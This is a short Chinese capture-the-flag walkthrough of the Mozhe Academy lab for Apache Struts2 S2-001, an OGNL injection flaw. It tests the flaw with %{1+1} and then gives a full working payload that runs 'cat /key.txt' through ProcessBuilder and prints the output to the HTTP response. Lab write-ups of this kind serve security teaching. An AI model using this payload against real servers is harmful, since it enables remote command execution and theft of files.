天天看點

墨者學院_Apache Struts2遠端代碼執行漏洞(S2-001)

1.由題可得漏洞為S2-001,可知使用者送出表單資料并且驗證失敗時,後端會将使用者之前送出的參數值使用 OGNL 表達式 %{value} 進行解析,然後重新填充到對應的表單資料中,是以可以直接構造 Payload 進行指令執行。

2.在密碼處輸入%{1+1}得到回顯是2确認漏洞存在。

3.構造任意執行payload:

%{

#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“cat”,"/key.txt"})).redirectErrorStream(true).start(),

#b=#a.getInputStream(),

#c=new java.io.InputStreamReader(#b),

#d=new java.io.BufferedReader(#c),

#e=new char[50000],

#d.read(#e),

#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),

#f.getWriter().println(new java.lang.String(#e)),

#f.getWriter().flush(),#f.getWriter().close()

}

4.得到KEY